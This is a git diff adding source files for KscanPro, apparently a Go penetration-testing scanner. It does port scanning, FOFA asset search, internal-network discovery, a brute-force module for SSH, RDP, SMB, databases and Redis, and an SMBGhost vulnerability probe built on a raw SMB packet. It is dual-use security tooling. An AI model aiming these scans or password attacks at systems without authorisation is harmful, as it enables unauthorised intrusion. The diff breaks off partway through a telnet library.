+ "KscanPro/core/scanner"
+ "KscanPro/core/slog"
+ "KscanPro/core/spy"
+ "KscanPro/core/tips"
+ "KscanPro/lib/color"
+ "KscanPro/lib/misc"
+ "KscanPro/run"
+ "embed"
+ "fmt"
+ "os"
+ "runtime"
+ "time"
+
+ "github.com/lcvvvv/appfinger"
+ "github.com/lcvvvv/gonmap"
+ "github.com/lcvvvv/pool"
+ "github.com/lcvvvv/stdio"
+)
+
+// logo信息
+const logo = `
+██╗ ██╗███████╗ ██████╗ █████╗ ███╗ ██╗
+██║ ██╔╝██╔════╝██╔════╝██╔══██╗████╗ ██║
+█████╔╝ ███████╗██║ ███████║██╔██╗ ██║
+██╔═██╗ ╚════██║██║ ██╔══██║██║╚██╗██║
+██║ ██╗███████║╚██████╗██║ ██║██║ ╚████║
+╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝`
+
+// 帮助信息
+const help = `
+optional arguments:
+ -h , --help show this help message and exit
+ -f , --fofa 从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
+ -t , --target 指定探测对象:
+ IP地址:114.114.114.114
+ IP地址段:114.114.114.114/24,不建议子网掩码小于12
+ IP地址段:114.114.114.114-115.115.115.115
+ URL地址:https://www.baidu.com
+ 文件地址:file:/tmp/target.txt
+ 剪切板: paste or clipboard
+ --spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
+ (空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
+options:
+ --check 针对目标地址做指纹识别,仅不会进行端口探测
+ --scan 将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
+ -p , --port 扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
+ -eP, --excluded-port 跳过扫描指定的端口,支持:80,8080,8088-8090
+ -o , --output 将扫描结果保存到文件
+ -oJ 将扫描结果使用json格式保存到文件
+ -oC 将扫描结果使用csv格式保存到文件
+ -Pn 使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
+ -Cn 使用此参数后,控制台输出结果将不会带颜色。
+ -Dn 使用此参数后,将关闭CDN识别功能
+ -sV 使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
+ --top 扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
+ --proxy 设置代理(socks5|socks4|https|http)://IP:Port
+ --threads 线程参数,默认线程100,最大值为2048
+ --path 指定请求访问的目录,只支持单个目录
+ --host 指定所有请求的头部Host值
+ --timeout 设置超时时间
+ --encoding 设置终端输出编码,可指定为:gb2312、utf-8
+ --match 对资产返回banner进行检索,剔除不存在关键字的结果记录
+ --not-match 对资产返回banner进行检索,剔除存在关键字的结果记录
+ --hydra 自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
+hydra options:
+ --hydra-user 自定义hydra爆破用户名:username or user1,user2 or file:username.txt
+ --hydra-pass 自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
+ 若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
+ --hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
+ --hydra-mod 指定自动化暴力破解模块:rdp or rdp,ssh,smb
+fofa options:
+ --fofa-syntax 将获取fofa搜索语法说明
+ --fofa-size 将设置fofa返回条目数,默认100条
+ --fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值
+`
+
+const usage = "usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy]) [options] [hydra options] [fofa options]\n\n"
+
+const syntax = `title="beijing" 从标题中搜索"北京" -
+header="elastic" 从http头中搜索"elastic" -
+body="网络空间测绘" 从html正文中搜索"网络空间测绘" -
+domain="qq.com" 搜索根域名带有qq.com的网站。 -
+icp="京ICP证030173号" 查找备案号为"京ICP证030173号"的网站 搜索网站类型资产
+js_name="js/jquery.js" 查找包含js/jquery.js的资产 搜索网站类型资产
+js_md5="82ac3f14327a8b7ba49baa208d4eaa15" 查找js源码与之匹配的资产 -
+icon_hash="-247388890" 搜索使用此icon的资产。 仅限FOFA高级会员使用
+host=".gov.cn" 从url中搜索".gov.cn" 搜索要用host作为名称
+port="6379" 查找对应"6379"端口的资产 -
+ip="1.1.1.1" 从ip中搜索包含"1.1.1.1"的网站 搜索要用ip作为名称
+ip="220.181.111.1/24" 查询IP为"220.181.111.1"的C网段资产 -
+status_code="402" 查询服务器状态为"402"的资产 -
+protocol="quic" 查询quic协议资产 搜索指定协议类型(在开启端口扫描的情况下有效)
+country="CN" 搜索指定国家(编码)的资产。 -
+region="Xinjiang" 搜索指定行政区的资产。 -
+city="Changsha" 搜索指定城市的资产。 -
+cert="baidu" 搜索证书中带有baidu的资产。 -
+cert.subject="Oracle" 搜索证书持有者是Oracle的资产 -
+cert.issuer="DigiCert" 搜索证书颁发者为DigiCert Inc的资产 -
+cert.is_valid=true 验证证书是否有效 仅限FOFA高级会员使用
+type=service 搜索所有协议资产 搜索所有协议资产
+os="centos" 搜索CentOS资产。 -
+server=="Microsoft-IIS" 搜索IIS 10服务器。 -
+app="Oracle" 搜索Microsoft-Exchange设备 -
+after="2017" && before="2017-10-01" 时间范围段搜索 -
+asn="19551" 搜索指定asn的资产。 -
+org="Amazon.com, Inc." 搜索指定org(组织)的资产。 -
+base_protocol="udp" 搜索指定udp协议的资产。 -
+is_fraud=falsenew 排除仿冒/欺诈数据 -
+is_honeypot=false 排除蜜罐数据 仅限FOFA高级会员使用
+is_ipv6=true 搜索ipv6的资产 搜索ipv6的资产,只接受true和false。
+is_domain=true 搜索域名的资产 搜索域名的资产,只接受true和false。
+port_size="6" 查询开放端口数量等于"6"的资产 仅限FOFA会员使用
+port_size_gt="6" 查询开放端口数量大于"6"的资产 仅限FOFA会员使用
+port_size_lt="12" 查询开放端口数量小于"12"的资产 仅限FOFA会员使用
+ip_ports="80,161" 搜索同时开放80和161端口的ip 搜索同时开放80和161端口的ip资产(以ip为单位的资产数据)
+ip_country="CN" 搜索中国的ip资产。 搜索中国的ip资产
+ip_region="Zhejiang" 搜索指定行政区的ip资产。 索指定行政区的资产
+ip_city="Hangzhou" 搜索指定城市的ip资产。 搜索指定城市的资产
+ip_after="2021-03-18" 搜索2021-03-18以后的ip资产。 搜索2021-03-18以后的ip资产
+ip_before="2019-09-09" 搜索2019-09-09以前的ip资产。 搜索2019-09-09以前的ip资产
+`
+
+func main() {
+ startTime := time.Now()
+
+ //环境初始化
+ Init()
+
+ //下载qqwry
+ if app.Setting.DownloadQQwry == true {
+ slog.Println(slog.INFO, "现在开始下载最新qqwry,请耐心等待!")
+ err := cdn.DownloadQQWry()
+ if err != nil {
+ slog.Println(slog.WARN, "纯真IP库下载失败,请手动下载解压后保存到kscan同一目录")
+ slog.Println(slog.WARN, "下载链接: https://qqwry.mirror.noc.one/qqwry.rar")
+ slog.Println(slog.WARN, err)
+ }
+ slog.Println(slog.INFO, "qqwry.dat下载成功!")
+ os.Exit(0)
+ }
+
+ //spy模块启动
+ if app.Setting.Spy != "None" {
+ spy.Keyword = app.Setting.Spy
+ spy.Scan = app.Setting.Scan
+ spy.Start()
+ if spy.Scan {
+ app.Setting.Target = spy.Target
+ }
+ }
+
+ //fofa模块初始化
+ if len(app.Setting.Fofa) > 0 {
+ InitFofa()
+ fofa.Run()
+ if app.Setting.Check == false && app.Setting.Scan == false {
+ slog.Println(slog.WARN, "可以使用--check参数对fofa扫描结果进行存活性及指纹探测,也可以使用--scan参数对fofa扫描结果进行端口扫描")
+ }
+ if app.Setting.Check == true {
+ app.Setting.Target = fofa.GetUrlTarget()
+ slog.Println(slog.WARN, "check参数已启用,现在将对fofa扫描结果进行存活性及指纹探测")
+ }
+ if app.Setting.Scan == true {
+ app.Setting.Target = fofa.GetHostTarget()
+ slog.Println(slog.WARN, "scan参数已启用,现在将对fofa扫描结果进行端口扫描及指纹探测")
+ }
+ }
+ //Hydra模块初始化
+ if app.Setting.Hydra == true {
+ slog.Println(slog.INFO, "hydra模块已开启,开始监听暴力破解任务")
+ slog.Println(slog.WARN, "当前已开启的hydra模块为:", misc.Intersection(hydra.ProtocolList, app.Setting.HydraMod))
+ //加载Hydra模块自定义字典
+ hydra.InitCustomAuthMap(app.Setting.HydraUser, app.Setting.HydraPass)
+ }
+ //kscan模块启动
+ if len(app.Setting.Target) > 0 {
+ //扫描模块初始化
+ InitKscan()
+ //开始扫描
+ run.Start()
+ }
+ //计算程序运行时间
+ elapsed := time.Since(startTime)
+ slog.Printf(slog.INFO, "程序执行总时长为:[%s]", elapsed.String())
+}
+
+func Init() {
+ app.Args.SetLogo(logo)
+ app.Args.SetUsage(usage)
+ app.Args.SetHelp(help)
+ app.Args.SetSyntax(syntax)
+ //参数初始化
+ app.Args.Parse()
+ //基础输出初始化
+ stdio.SetEncoding(app.Args.Encoding)
+ //参数合法性校验
+ app.Args.CheckArgs()
+ //日志初始化
+ if app.Args.Debug {
+ slog.SetLevel(slog.DEBUG)
+ } else {
+ slog.SetLevel(slog.INFO)
+ }
+ //color包初始化
+ if os.Getenv("KSCAN_COLOR") == "TRUE" {
+ color.Enabled()
+ }
+ if app.Args.CloseColor == true {
+ color.Disabled()
+ }
+ //pool包初始化
+ pool.SetLogger(slog.Debug())
+ //配置文件初始化
+ app.ConfigInit()
+ //Output初始化
+ if app.Setting.Output != nil {
+ slog.SetOutput(app.Setting.Output)
+ }
+ fmt.Println("Tips:", tips.GetTips())
+ slog.Println(slog.INFO, "当前环境为:", runtime.GOOS, ", 输出编码为:", app.Setting.Encoding)
+ if runtime.GOOS == "windows" && app.Setting.CloseColor == true {
+ slog.Println(slog.INFO, "在Windows系统下,默认不会开启颜色展示,可以通过添加环境变量开启哦:KSCAN_COLOR=TRUE")
+ }
+}
+
+//go:embed static/fingerprint.txt
+var fingerprintEmbed embed.FS
+
+const (
+ qqwryPath = "qqwry.dat"
+ fingerprintPath = "static/fingerprint.txt"
+)
+
+func InitKscan() {
+ //HTTP初始化
+ lib.Inithttp()
+ //HTTP指纹库初始化
+ fs, _ := fingerprintEmbed.Open(fingerprintPath)
+ if n, err := appfinger.InitDatabaseFS(fs); err != nil {
+ slog.Println(slog.ERROR, "指纹库加载失败,请检查【fingerprint.txt】文件", err)
+ } else {
+ slog.Printf(slog.INFO, "成功加载HTTP指纹:[%d]条", n)
+ }
+ //超时及日志配置
+ gonmap.SetLogger(slog.Debug())
+ slog.Printf(slog.INFO, "成功加载NMAP探针:[%d]个,指纹[%d]条", gonmap.UsedProbesCount, gonmap.UsedMatchCount)
+ //CDN检测初始化
+ if app.Setting.CloseCDN == false {
+ if _, err := os.Lstat(qqwryPath); os.IsNotExist(err) == true {
+ slog.Printf(slog.WARN, "未检测到qqwry.dat,将关闭CDN检测功能,如需开启,请执行kscan --download-qqwry下载该文件")
+ app.Setting.CloseCDN = true
+ } else {
+ slog.Printf(slog.INFO, "检测到qqwry.dat,将自动启动CDN检测功能,可使用-Dn参数关闭该功能")
+ scanner.CDNCheck = true
+ cdn.Init(qqwryPath)
+ }
+ }
+}
+
+func InitFofa() {
+ email := os.Getenv("FOFA_EMAIL")
+ key := os.Getenv("FOFA_KEY")
+ if email == "" || key == "" {
+ slog.Println(slog.WARN, "使用-f/-fofa参数前请先配置环境变量:FOFA_EMAIL、FOFA_KEY")
+ slog.Println(slog.ERROR, "如果你是想从文件导入端口扫描任务,请使用-t file:/path/to/file")
+ }
+ fofa.Init(email, key)
+}
diff --git a/lib/color/color.go b/lib/color/color.go
new file mode 100644
index 0000000..ccd43ba
--- /dev/null
+++ b/lib/color/color.go
@@ -0,0 +1,304 @@
+package color
+
+import (
+ "fmt"
+ colorR "github.com/gookit/color"
+ "math/rand"
+ "runtime"
+ "strconv"
+ "strings"
+ "time"
+)
+
+var (
+ disabled = false
+ colorMap = map[string]int{
+ //varyImportant
+ "white": 30,
+ "red": 31,
+ //Important
+ "green": 32,
+ "yellow": 33,
+ "blue": 34,
+ "purple": 35,
+ "cyan": 36,
+ "black": 37,
+ }
+ backgroundMap = map[string]int{
+ "white": 40,
+ "red": 41,
+ "green": 42,
+ "yellow": 43,
+ "blue": 44,
+ "purple": 45,
+ "cyan": 46,
+ "black": 47,
+ }
+ formatMap = map[string]int{
+ "bold": 1,
+ "italic": 3,
+ "underline": 4,
+ "overturn": 7,
+ }
+)
+
+func init() {
+ if runtime.GOOS == "windows" {
+ disabled = true
+ }
+}
+
+func Enabled() {
+ disabled = false
+}
+
+func Disabled() {
+ disabled = true
+}
+
+func convANSI(s string, color int, background int, format []int) string {
+ if disabled == true {
+ return s
+ }
+ var formatStrArr []string
+ var option string
+ for _, i := range format {
+ formatStrArr = append(formatStrArr, strconv.Itoa(i))
+ }
+ if background != 0 {
+ formatStrArr = append(formatStrArr, strconv.Itoa(background))
+ }
+ if color != 0 {
+ formatStrArr = append(formatStrArr, strconv.Itoa(color))
+ }
+ option = strings.Join(formatStrArr, ";")
+ return fmt.Sprintf("\x1b[%sm%s\x1b[0m", option, s)
+}
+
+func convColor(s string, color string) string {
+ return convANSI(s, colorMap[color], 0, []int{})
+}
+func convBackground(s string, color string) string {
+ return convANSI(s, 0, backgroundMap[color], []int{})
+}
+
+func convFormats(s string, formats []int) string {
+ return convANSI(s, 0, 0, formats)
+}
+
+func convFormat(s string, format string) string {
+ return convFormats(s, []int{formatMap[format]})
+}
+
+func Bold(s string) string {
+ return convFormat(s, "bold")
+}
+
+func Italic(s string) string {
+ return convFormat(s, "italic")
+}
+
+func Underline(s string) string {
+ return convFormat(s, "underline")
+}
+
+func Overturn(s string) string {
+ return convFormat(s, "overturn")
+}
+
+func Red(s string) string {
+ return convColor(s, "red")
+}
+func RedB(s string) string {
+ return convBackground(s, "red")
+}
+
+func White(s string) string {
+ return convColor(s, "white")
+}
+func WhiteB(s string) string {
+ return convBackground(s, "white")
+}
+
+func Yellow(s string) string {
+ return convColor(s, "yellow")
+}
+func YellowB(s string) string {
+ return convBackground(s, "yellow")
+}
+
+func Green(s string) string {
+ return convColor(s, "green")
+}
+func GreenB(s string) string {
+ return convBackground(s, "green")
+}
+
+func Purple(s string) string {
+ return convColor(s, "purple")
+}
+func PurpleB(s string) string {
+ return convBackground(s, "purple")
+}
+
+func Cyan(s string) string {
+ return convColor(s, "cyan")
+}
+func CyanB(s string) string {
+ return convBackground(s, "cyan")
+}
+
+func Blue(s string) string {
+ return convColor(s, "blue")
+}
+func BlueB(s string) string {
+ return convBackground(s, "blue")
+}
+
+func Black(s string) string {
+ return convColor(s, "black")
+}
+
+func BlackB(s string) string {
+ return convBackground(s, "black")
+}
+
+func Important(s string) string {
+ s = Red(s)
+ s = Bold(s)
+ s = Overturn(s)
+ return s
+}
+
+func Warning(s string) string {
+ s = Yellow(s)
+ s = Bold(s)
+ s = Overturn(s)
+ return s
+}
+
+func Tips(s string) string {
+ s = Green(s)
+ return s
+}
+
+func Random(s string) string {
+ return convANSI(s, rand.Intn(len(colorMap))+30, 0, []int{})
+}
+
+func Count(s string) int {
+ return len(s) - len(Clear(s))
+}
+
+// "\x1b[%sm%s\x1b[0m"
+func Clear(s string) string {
+ var rBuf []byte
+ buf := []byte(s)
+ length := len(buf)
+
+ for i := 0; i < length; i++ {
+ if buf[i] != '\x1b' {
+ rBuf = append(rBuf, buf[i])
+ continue
+ }
+ if buf[i+1] != '[' {
+ rBuf = append(rBuf, buf[i])
+ continue
+ }
+ if i+1 > length {
+ continue
+ }
+ var index = 1
+ for {
+ if buf[i+index] == 'm' {
+ break
+ }
+ index++
+ }
+ i = i + index
+ }
+ return string(rBuf)
+}
+
+func RandomImportant(s string) string {
+ r := rand.Intn(len(colorMap)-2) + 32
+ return convANSI(s, r, r, []int{7})
+}
+
+func StrSliceRandomColor(strSlice []string) string {
+ var s string
+ for _, value := range strSlice {
+ s += RandomImportant(value)
+ s += ", "
+ }
+ return s[:len(s)-2]
+}
+
+func StrMapRandomColor(m map[string]string, printKey bool, importantKey []string, varyImportantKey []string) string {
+ var s string
+ if len(m) == 0 {
+ return ""
+ }
+ for key, value := range m {
+ var cell string
+ if printKey {
+ cell += key + ":"
+ }
+ cell += value
+
+ if isInStrArr(importantKey, key) {
+ cell = RandomImportant(cell)
+ } else if isInStrArr(varyImportantKey, key) {
+ cell = Red(Overturn(cell))
+ } else {
+ cell = Random(cell)
+
+ }
+ s += cell + ", "
+ }
+ return s[:len(s)-2]
+}
+
+func StrRandomColor(chars []string) {
+ rand.Seed(time.Now().UnixNano())
+ useForegroundColor := false
+ for _, char := range chars {
+ char1 := char + ", "
+ if useForegroundColor {
+ fg := randomFgColor()
+ colorR.New(fg).Print(char1)
+ } else {
+ bg := randomBgColor()
+ colorR.New(bg).Print(char1)
+ }
+ useForegroundColor = !useForegroundColor
+ }
+ fmt.Println()
+}
+
+// 生成随机前景色
+func randomFgColor() colorR.Color {
+ colors := []colorR.Color{
+ colorR.FgBlack, colorR.FgRed, colorR.FgGreen, colorR.FgYellow,
+ colorR.FgBlue, colorR.FgMagenta, colorR.FgCyan, colorR.FgWhite,
+ }
+ return colors[rand.Intn(len(colors))]
+}
+
+// 生成随机背景色
+func randomBgColor() colorR.Color {
+ colors := []colorR.Color{
+ colorR.BgBlack, colorR.BgRed, colorR.BgGreen, colorR.BgYellow,
+ colorR.BgBlue, colorR.BgMagenta, colorR.BgCyan, colorR.BgWhite,
+ }
+ return colors[rand.Intn(len(colors))]
+}
+
+func isInStrArr(slice []string, val string) bool {
+ for _, item := range slice {
+ if item == val {
+ return true
+ }
+ }
+ return false
+}
diff --git a/lib/color/color_test.go b/lib/color/color_test.go
new file mode 100644
index 0000000..7772555
--- /dev/null
+++ b/lib/color/color_test.go
@@ -0,0 +1,44 @@
+package color
+
+import (
+ "fmt"
+ "testing"
+)
+
+type gogo struct {
+ string
+ int
+}
+
+func TestColor(t *testing.T) {
+
+ fmt.Println(Red("红色测试!!!"))
+ fmt.Println("正常测试!!!")
+ fmt.Println(Bold("加粗测试!!!"))
+ fmt.Println(Bold(Red("加粗红色测试!!!")))
+ fmt.Printf("\x1b[%dmhello world 30: 黑 \x1b[0m\n", 30)
+ fmt.Printf("\x1b[%dmhello world 31: 红 \x1b[0m\n", 31)
+ fmt.Printf("\x1b[%dmhello world 32: 绿 \x1b[0m\n", 32)
+ fmt.Printf("\x1b[%dmhello world 33: 黄 \x1b[0m\n", 33)
+ fmt.Printf("\x1b[%dmhello world 34: 蓝 \x1b[0m\n", 34)
+ fmt.Printf("\x1b[%dmhello world 35: 紫 \x1b[0m\n", 35)
+ fmt.Printf("\x1b[%dmhello world 36: 深绿 \x1b[0m\n", 36)
+ fmt.Printf("\x1b[%dmhello world 37: 白色 \x1b[0m\n", 37)
+
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 47: 白色 30: 黑 \n", 47, 30)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 46: 深绿 31: 红 \n", 46, 31)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 45: 紫 32: 绿 \n", 45, 32)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 44: 蓝 33: 黄 \n", 44, 33)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 43: 黄 34: 蓝 \n", 43, 34)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 42: 绿 35: 紫 \n", 42, 35)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 41: 红 36: 深绿 \n", 41, 36)
+ fmt.Printf("\x1b[%d;%dmhello world \x1b[0m 40: 黑 37: 白色 \n", 40, 37)
+}
+
+func TestStr(t *testing.T) {
+ a := gogo{
+ "gogo",
+ 1234,
+ }
+ fmt.Print(a)
+}
diff --git a/lib/dns/dns.go b/lib/dns/dns.go
new file mode 100644
index 0000000..e86bd6b
--- /dev/null
+++ b/lib/dns/dns.go
@@ -0,0 +1,83 @@
+package dns
+
+import (
+ "KscanPro/lib/misc"
+ "context"
+ "github.com/miekg/dns"
+ "net"
+ "time"
+)
+
+var domainServers = []string{
+ "114.114.114.114:53",
+ //"8.8.8.8:53",
+ "223.6.6.6:53",
+}
+
+var resolvers = generateResolver()
+
+func LookupCNAME(domain string) ([]string, error) {
+ var lastErr error
+ for _, domainServer := range domainServers {
+ CNAMES, err := LookupCNAMEWithServer(domain, domainServer)
+ if err != nil {
+ lastErr = err
+ }
+ return CNAMES, nil
+ }
+ return nil, lastErr
+}
+
+func LookupCNAMEWithServer(domain, domainServer string) ([]string, error) {
+ c := dns.Client{
+ Timeout: 5 * time.Second,
+ }
+ var CNAMES []string
+ m := dns.Msg{}
+ // 最终都会指向一个ip 也就是typeA, 这样就可以返回所有层的cname.
+ m.SetQuestion(domain+".", dns.TypeA)
+ r, _, err := c.Exchange(&m, domainServer)
+ if err != nil {
+ return nil, err
+ }
+ for _, ans := range r.Answer {
+ record, isType := ans.(*dns.CNAME)
+ if isType {
+ CNAMES = append(CNAMES, record.Target)
+ }
+ }
+ return CNAMES, nil
+}
+
+func LookupIP(domain string) ([]string, error) {
+ var IPs []string
+ var lastErr error
+ for _, resolver := range resolvers {
+ ips, err := resolver.LookupIPAddr(context.Background(), domain)
+ if err != nil {
+ lastErr = err
+ }
+ for _, v := range ips {
+ IPs = append(IPs, v.IP.String())
+ }
+ }
+ IPs = misc.RemoveDuplicateElement(IPs)
+ return IPs, lastErr
+}
+
+func generateResolver() []*net.Resolver {
+ var resolvers []*net.Resolver
+ for _, server := range domainServers {
+ resolver := &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ d := net.Dialer{
+ Timeout: 3 * time.Second,
+ }
+ return d.DialContext(ctx, "udp", server)
+ },
+ }
+ resolvers = append(resolvers, resolver)
+ }
+ return resolvers
+}
diff --git a/lib/dns/dns_test.go b/lib/dns/dns_test.go
new file mode 100644
index 0000000..38f31ac
--- /dev/null
+++ b/lib/dns/dns_test.go
@@ -0,0 +1,27 @@
+package dns
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "testing"
+ "time"
+)
+
+func TestDNS(t *testing.T) {
+ resolver := &net.Resolver{
+ PreferGo: false,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ d := net.Dialer{
+ Timeout: 3 * time.Second,
+ }
+ return d.DialContext(ctx, "udp", "114.114.114.114:53")
+ },
+ }
+ resolvers = append(resolvers, resolver)
+ fmt.Println(resolver.LookupCNAME(context.Background(), "www.t00ls.cc"))
+ fmt.Println(resolver.LookupHost(context.Background(), "www.t00ls.cc"))
+ fmt.Println(resolver.LookupAddr(context.Background(), "www.t00ls.cc"))
+ fmt.Println(resolver.LookupIPAddr(context.Background(), "www.t00ls.cc"))
+ fmt.Println(resolver.LookupTXT(context.Background(), "www.t00ls.cc"))
+}
diff --git a/lib/fofa/fofa.go b/lib/fofa/fofa.go
new file mode 100644
index 0000000..ac105b3
--- /dev/null
+++ b/lib/fofa/fofa.go
@@ -0,0 +1,116 @@
+package fofa
+
+import (
+ "KscanPro/lib/misc"
+ "encoding/json"
+ "io/ioutil"
+ "log"
+ "net/http"
+ "os"
+ "reflect"
+ "strconv"
+ "strings"
+)
+
+var logger = Logger(log.New(os.Stdout, "[fofa]", log.Ldate|log.Ltime))
+
+type Logger interface {
+ Println(...interface{})
+ Printf(string, ...interface{})
+}
+
+func SetLogger(log Logger) {
+ logger = log
+}
+
+type Client struct {
+ email, key string
+ baseUrl, searchPath string
+ fieldList []string
+ size int
+}
+
+type ResponseJson struct {
+ Error bool `json:"error"`
+ Mode string `json:"mode"`
+ Page int `json:"page"`
+ Query string `json:"query"`
+ Results [][]string `json:"results"`
+ Size int `json:"size"`
+}
+
+const (
+ baseURL = "https://fofa.info"
+ searchPath = "/api/v1/search/all"
+ //loginPath = "/api/v1/info/my"
+)
+
+func New(email, key string) *Client {
+ f := &Client{
+ email: email,
+ key: key,
+ baseUrl: baseURL,
+ searchPath: searchPath,
+ fieldList: []string{
+ "host",
+ "title",
+ "banner",
+ "header",
+ "ip", "domain", "port", "country", "province",
+ "city", "country_name",
+ "server",
+ "protocol",
+ "cert", "isp", "as_organization",
+ },
+ }
+ return f
+}
+
+func (f *Client) SetSize(i int) {
+ f.size = i
+}
+
+func (f *Client) Search(keyword string) (int, []Result) {
+ url := f.baseUrl + f.searchPath
+ req, _ := http.NewRequest(http.MethodGet, url, nil)
+ q := req.URL.Query()
+ q.Add("qbase64", misc.Base64Encode(keyword))
+ q.Add("email", f.email)
+ q.Add("key", f.key)
+ q.Add("page", "1")
+ q.Add("fields", strings.Join(f.fieldList, ","))
+ q.Add("size", strconv.Itoa(f.size))
+ q.Add("full", "false")
+ req.URL.RawQuery = q.Encode()
+ resp, err := http.DefaultClient.Do(req)
+ if err != nil {
+ logger.Println(err)
+ return 0, nil
+ }
+ body, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ logger.Println(err)
+ return 0, nil
+ }
+ var responseJson ResponseJson
+ if err = json.Unmarshal(body, &responseJson); err != nil {
+ logger.Println(body, err)
+ return 0, nil
+ }
+ r := f.makeResult(responseJson)
+ return responseJson.Size, r
+}
+
+func (f *Client) makeResult(responseJson ResponseJson) (results []Result) {
+ for _, row := range responseJson.Results {
+ var result Result
+ m := reflect.ValueOf(&result).Elem()
+ for index, key := range f.fieldList {
+ //首字母大写
+ key = strings.ToUpper(key[:1]) + key[1:]
+ m.FieldByName(key).SetString(row[index])
+ }
+ results = append(results, result)
+ }
+ return results
+}
diff --git a/lib/fofa/type-result.go b/lib/fofa/type-result.go
new file mode 100644
index 0000000..56f45d8
--- /dev/null
+++ b/lib/fofa/type-result.go
@@ -0,0 +1,24 @@
+package fofa
+
+import (
+ "reflect"
+)
+
+type Result struct {
+ Host, Title, Ip, Domain, Port, Country string
+ Province, City, Country_name, Protocol string
+ Server, Banner, Isp, As_organization string
+ Header, Cert string
+}
+
+func (r Result) Map() map[string]string {
+ t := reflect.TypeOf(r)
+ v := reflect.ValueOf(r)
+ m := make(map[string]string)
+ for k := 0; k < t.NumField(); k++ {
+ key := t.Field(k).Name
+ value := v.Field(k).String()
+ m[key] = value
+ }
+ return m
+}
diff --git a/lib/gosmb/gosmb.go b/lib/gosmb/gosmb.go
new file mode 100644
index 0000000..6ffcbd2
--- /dev/null
+++ b/lib/gosmb/gosmb.go
@@ -0,0 +1,58 @@
+package gosmb
+
+import (
+ "bytes"
+ "fmt"
+ "net"
+ "strconv"
+ "time"
+)
+
+const pkt = "\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00" +
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
+ "\x00\x00\x00\x00$\x00\b\x00\x01\x00\x00\x00\u007f\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02" +
+ "\"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00" +
+ "\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x0e" +
+ "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
+
+func SmbGhostScan(host string) error {
+ ip, port, timeout := host, 445, 3*time.Second
+ addr := fmt.Sprintf("%s:%v", host, port)
+ conn, err := net.DialTimeout("tcp", addr, timeout)
+ defer func() {
+ if conn != nil {
+ conn.Close()
+ }
+ }()
+ if err != nil {
+ return err
+ }
+
+ fmt.Println(strconv.Quote(pkt))
+ _, err = conn.Write([]byte(pkt))
+ if err != nil {
+ return err
+ }
+ buff := make([]byte, 1024)
+ err = conn.SetReadDeadline(time.Now().Add(timeout))
+ n, err := conn.Read(buff)
+ if err != nil {
+ return err
+ }
+
+ fmt.Println(strconv.Quote(string(buff[:n])))
+
+ if string(buff[68:70]) != "\x11\x03" || string(buff[70:72]) != "\x02\x00" {
+ result := fmt.Sprintf("1[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
+ fmt.Println(result)
+ }
+ if bytes.Contains(buff[:n], []byte("Public")) == true {
+ result := fmt.Sprintf("2[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
+ fmt.Println(result)
+
+ }
+ return err
+}
diff --git a/lib/gosmb/gosmb_test.go b/lib/gosmb/gosmb_test.go
new file mode 100644
index 0000000..42f544e
--- /dev/null
+++ b/lib/gosmb/gosmb_test.go
@@ -0,0 +1,7 @@
+package gosmb
+
+import "testing"
+
+func TestName(t *testing.T) {
+ _ = SmbGhostScan("192.168.50.11")
+}
diff --git a/lib/gotelnet/telnet.go b/lib/gotelnet/telnet.go
new file mode 100644
index 0000000..b64354d
--- /dev/null
+++ b/lib/gotelnet/telnet.go
@@ -0,0 +1,483 @@
+package gotelnet
+
+import (
+ "bytes"
+ "errors"
+ "fmt"
+ "net"
+ "regexp"
+ "strings"
+ "time"
+)
+
+const (
+ TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
+
+ // Telnet protocol characters (don't change)
+ IAC = byte(255) // "Interpret As Command"
+ DONT = byte(254)
+ DO = byte(253)
+ WONT = byte(252)
